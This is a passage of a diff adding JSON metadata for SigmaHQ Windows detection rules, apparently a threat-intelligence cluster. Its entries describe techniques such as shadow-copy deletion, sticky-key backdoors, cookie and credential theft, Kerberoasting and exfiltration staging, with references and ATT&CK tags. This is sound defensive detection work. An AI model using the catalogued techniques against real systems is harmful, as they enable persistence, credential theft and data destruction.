+ "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", + "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", + "value": "Schtasks Creation Or Modification With SYSTEM Privileges", + "meta": { + "refs": [ + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2022/07/28", + "filename": "proc_creation_win_schtasks_system.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", + "value": "Use of ScreenConnect Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_screenconnect.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the tool" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", + "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", + "value": "ScreenConnect Backstage Mode Anomaly", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/25", + "filename": "proc_creation_win_screenconnect_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Case in which administrators are allowed to use ScreenConnect's Backstage mode" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", + "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", + "value": "Script Event Consumer Spawning Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2021/06/21", + "filename": "proc_creation_win_script_event_consumer_spawn.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", + "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", + "value": "Suspicious Execution of Sc to Delete AV Services", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_sc_delete_av_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", + "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", + "value": "SC.EXE Query Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007" + ], + "creation_date": "2021/12/06", + "filename": "proc_creation_win_sc_query.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate query of a service by an administrator to get more information such as the state or PID" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", + "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", + "value": "Possible Shim Database Persistence via sdbinst.exe", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.011" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_sdbinst_shim_persistence.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", + "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", + "value": "Sdclt Child Processes", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_sdclt_child_process.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SDelete to erase a file not the free space", + "uuid": "a4824fca-976f-4964-b334-0621379e84c4", + "value": "Sysinternals SDelete Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/06/03", + "filename": "proc_creation_win_sdelete.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "System administrator usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", + "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", + "value": "Sdiagnhost Calling Suspicious Child Process", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", + "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_sdiagnhost_susp_child.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", + "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", + "value": "PPID Spoofing Tool Usage", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", + "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", + "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1134.004" + ], + "creation_date": "2022/07/23", + "filename": "proc_creation_win_selectmyparent.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects manual service execution (start) via system utilities.", + "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", + "value": "Service Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_service_execution.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user executes a service for legitimate reasons." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a windows service to be stopped", + "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", + "value": "Stop Windows Service", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_service_stop.yml", + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Administrator shutting down the service due to upgrade or removal purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of executionpolicy option to set insecure policies", + "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", + "value": "Change PowerShell Policies to an Insecure Level", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/11/01", + "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/09/20", + "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies storage symbolic link creation using operating systems utilities", + "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", + "value": "Shadow Copies Access via Symlink", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_access_symlink.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies creation using operating systems utilities, possible credential access", + "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", + "value": "Shadow Copies Creation Using Operating Systems Utilities", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_creation.yml", + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies deletion using operating systems utilities", + "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", + "value": "Shadow Copies Deletion Using Operating Systems Utilities", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://blog.talosintelligence.com/2017/05/wannacry.html", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", + "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/Neo23x0/Raccine#the-process", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070", + "attack.t1490" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_deletion.yml", + "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", + "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SharpUp, a tool for local privilege escalation", + "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", + "value": "SharpUp PrivEsc Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/SharpUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1615", + "attack.t1569.002", + "attack.t1574.005" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_sharpup.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Sharp Chisel via the commandline arguments", + "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", + "value": "SharpChisel Usage", + "meta": { + "refs": [ + "https://github.com/shantanu561993/SharpChisel", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_sharp_chisel_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", + "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", + "value": "Shells Spawned by Java", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/17", + "filename": "proc_creation_win_shell_spawn_by_java.yml", + "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of a Windows shell", + "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", + "value": "Windows Shell Spawning Suspicious Program", + "meta": { + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.005", + "attack.t1059.001", + "attack.t1218" + ], + "creation_date": "2018/04/06", + "filename": "proc_creation_win_shell_spawn_susp_program.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Administrative scripts", + "Microsoft SCCM" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects SILENTTRINITY stager use", + "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", + "value": "SILENTTRINITY Stager Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_silenttrinity_stage_use.yml", + "author": "Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", + "value": "Detected Windows Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ], + "creation_date": "2020/10/16", + "filename": "proc_creation_win_software_discovery.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect attacker collecting audio via SoundRecorder application.", + "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", + "value": "Audio Capture via SoundRecorder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_soundrec_audio_capture.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Service Principal Name Enumeration used for Kerberoasting", + "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", + "value": "Possible SPN Enumeration", + "meta": { + "refs": [ + "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2018/11/14", + "filename": "proc_creation_win_spn_enum.yml", + "author": "Markus Neis, keepwatch", + "level": "medium", + "falsepositive": [ + "Administrator Activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects dump of credentials in VeeamBackup dbo", + "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", + "value": "VeeamBackup Database Credentials Dump", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", + "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", + "value": "SQLite Firefox Cookie DB Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1539" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_sqlite_firefox_cookies.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", + "value": "Sticky Key Like Backdoor Usage", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ], + "creation_date": "2018/03/15", + "filename": "proc_creation_win_stickykey_like_backdoor.yml", + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", + "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", + "value": "Sticky-Key Backdoor Copy Cmd.exe", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" + ], + "tags": [ + "attack.t1546.008", + "attack.privilege_escalation" + ], + "creation_date": "2020/02/18", + "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", + "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", + "value": "Execution via stordiag.exe", + "meta": { + "refs": [ + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", + "https://twitter.com/eral4m/status/1451112385041911809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/21", + "filename": "proc_creation_win_stordiag_execution.yml", + "author": "Austin Songer (@austinsonger)", + "level": "high", + "falsepositive": [ + "Legitimate usage of stordiag.exe." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", + "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", + "value": "Start of NT Virtual DOS Machine", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", + "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", + "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", + "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/16", + "filename": "proc_creation_win_susp_16bit_application.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of 3proxy, a tiny free proxy server", + "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", + "value": "3Proxy Usage", + "meta": { + "refs": [ + "https://github.com/3proxy/3proxy", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_susp_3proxy_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", + "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_susp_7z.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Command line parameter combinations that contain all included strings" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", + "value": "7Zip Compressing Dump Files", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_susp_7zip_dmp.yml", + "author": "Nasreddine Bencherchali", + "level": 